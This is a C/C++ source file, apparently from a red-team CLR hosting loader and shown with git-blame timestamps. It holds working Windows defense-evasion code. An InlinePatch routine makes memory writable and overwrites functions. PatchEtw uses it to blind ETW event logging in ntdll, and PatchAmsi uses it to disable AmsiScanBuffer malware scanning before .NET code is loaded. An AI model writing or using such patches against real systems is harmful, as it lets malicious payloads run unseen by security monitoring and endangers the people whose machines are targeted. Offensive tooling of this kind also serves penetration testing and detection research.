|
|
|
|
|
else if (pPEB->OSMajorVersion == 6 && pPEB->OSMinorVersion == 3) {
|
|
|
|
|
ZwProtectVirtualMemory = &ZwProtectVirtualMemory81;
|
|
|
|
|
ZwWriteVirtualMemory = &ZwWriteVirtualMemory81;
|
|
|
|
|
}
|
|
|
|
|
else {
|
|
|
|
|
|
|
|
|
|
return -2;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
LPVOID lpBaseAddress = lpFuncAddress;
|
|
|
|
|
ULONG OldProtection, NewProtection;
|
2020-04-20 23:52:19 +02:00
|
|
|
SIZE_T uSize = patchsize;
|
2020-03-29 18:23:45 +02:00
|
|
|
NTSTATUS status = ZwProtectVirtualMemory(NtCurrentProcess(), &lpBaseAddress, &uSize, PAGE_EXECUTE_READWRITE, &OldProtection);
|
|
|
|
|
if (status != STATUS_SUCCESS) {
|
|
|
|
|
return -1;
|
|
|
|
|
}
|
|
|
|
|
|
2020-04-20 23:52:19 +02:00
|
|
|
status = ZwWriteVirtualMemory(NtCurrentProcess(), lpFuncAddress, (PVOID)patch, patchsize, NULL);
|
2020-03-29 18:23:45 +02:00
|
|
|
if (status != STATUS_SUCCESS) {
|
|
|
|
|
return -1;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
status = ZwProtectVirtualMemory(NtCurrentProcess(), &lpBaseAddress, &uSize, OldProtection, &NewProtection);
|
|
|
|
|
if (status != STATUS_SUCCESS) {
|
|
|
|
|
return -1;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
return 0;
|
|
|
|
|
}
|
|
|
|
|
|
2023-06-21 11:56:50 +10:00
|
|
|
BOOL PatchEtw(HANDLE pipe)
|
2019-11-12 20:05:32 +01:00
|
|
|
{
|
2020-03-29 18:23:45 +02:00
|
|
|
HMODULE lib = LoadLibraryA("ntdll.dll");
|
2020-03-29 00:19:25 +01:00
|
|
|
if (lib == NULL)
|
2020-04-08 23:16:06 +02:00
|
|
|
{
|
2023-06-21 11:56:50 +10:00
|
|
|
ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot load ntdll.dll");
|
2020-03-29 18:23:45 +02:00
|
|
|
return -2;
|
2020-04-08 23:16:06 +02:00
|
|
|
}
|
2020-03-29 18:23:45 +02:00
|
|
|
LPVOID lpFuncAddress = GetProcAddress(lib, "EtwEventWrite");
|
|
|
|
|
if (lpFuncAddress == NULL)
|
2020-04-08 23:16:06 +02:00
|
|
|
{
|
2023-06-21 11:56:50 +10:00
|
|
|
ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot get address of EtwEventWrite");
|
2020-03-29 18:23:45 +02:00
|
|
|
return -2;
|
2020-04-08 23:16:06 +02:00
|
|
|
}
|
2020-03-29 18:23:45 +02:00
|
|
|
|
2023-06-21 11:56:50 +10:00
|
|
|
return InlinePatch(lpFuncAddress, uHook, sizeof(uHook));
|
2020-03-29 18:23:45 +02:00
|
|
|
}
|
2020-03-29 00:19:25 +01:00
|
|
|
|
2023-06-21 11:56:50 +10:00
|
|
|
BOOL PatchAmsi(HANDLE pipe)
|
2020-03-29 18:23:45 +02:00
|
|
|
{
|
2019-11-12 20:05:32 +01:00
|
|
|
|
2020-03-29 18:23:45 +02:00
|
|
|
HMODULE lib = LoadLibraryA("amsi.dll");
|
|
|
|
|
if (lib == NULL)
|
2020-04-08 23:16:06 +02:00
|
|
|
{
|
2023-06-21 11:56:50 +10:00
|
|
|
ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot load amsi.dll");
|
2020-03-29 18:23:45 +02:00
|
|
|
return -2;
|
2020-04-08 23:16:06 +02:00
|
|
|
}
|
2020-03-29 00:19:25 +01:00
|
|
|
|
2020-03-29 18:23:45 +02:00
|
|
|
LPVOID addr = GetProcAddress(lib, "AmsiScanBuffer");
|
2023-06-21 11:56:50 +10:00
|
|
|
if (addr == NULL)
|
2020-04-08 23:16:06 +02:00
|
|
|
{
|
2023-06-21 11:56:50 +10:00
|
|
|
ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot get address of AmsiScanBuffer");
|
2020-03-29 18:23:45 +02:00
|
|
|
return -2;
|
2020-04-08 23:16:06 +02:00
|
|
|
}
|
2020-03-29 00:19:25 +01:00
|
|
|
|
2020-04-21 00:12:47 +02:00
|
|
|
return InlinePatch(addr, amsipatch, sizeof(amsipatch));
|
2019-11-12 20:05:32 +01:00
|
|
|
}
|
|
|
|
|
|
2023-06-21 11:56:50 +10:00
|
|
|
BOOL ClrIsLoaded(LPCWSTR version, IEnumUnknown* pEnumerator, LPVOID* pRuntimeInfo) {
|
2019-11-12 20:05:32 +01:00
|
|
|
HRESULT hr;
|
|
|
|
|
ULONG fetched = 0;
|
|
|
|
|
DWORD vbSize;
|
|
|
|
|
BOOL retval = FALSE;
|
|
|
|
|
wchar_t currentversion[260];
|
|
|
|
|
|
2023-06-21 11:56:50 +10:00
|
|
|
while (SUCCEEDED(pEnumerator->Next(1, (IUnknown**)&pRuntimeInfo, &fetched)) && fetched > 0)
|
2019-11-12 20:05:32 +01:00
|
|
|
{
|
|
|
|
|
hr = ((ICLRRuntimeInfo*)pRuntimeInfo)->GetVersionString(currentversion, &vbSize);
|
|
|
|
|
if (!FAILED(hr))
|
|
|
|
|
{
|
|
|
|
|
if (wcscmp(currentversion, version) == 0)
|
|
|
|
|
{
|
|
|
|
|
retval = TRUE;
|
|
|
|
|
break;
|
|
|
|
|
}
|
|
|
|
|
}
|
2023-06-23 14:01:45 +10:00
|
|
|
((ICLRRuntimeInfo*)pRuntimeInfo)->Release();
|
2019-11-12 20:05:32 +01:00
|
|
|
}
|
|
|
|
|
|
|
|
|
|
return retval;
|
2023-06-21 11:56:50 +10:00
|
|
|
}
|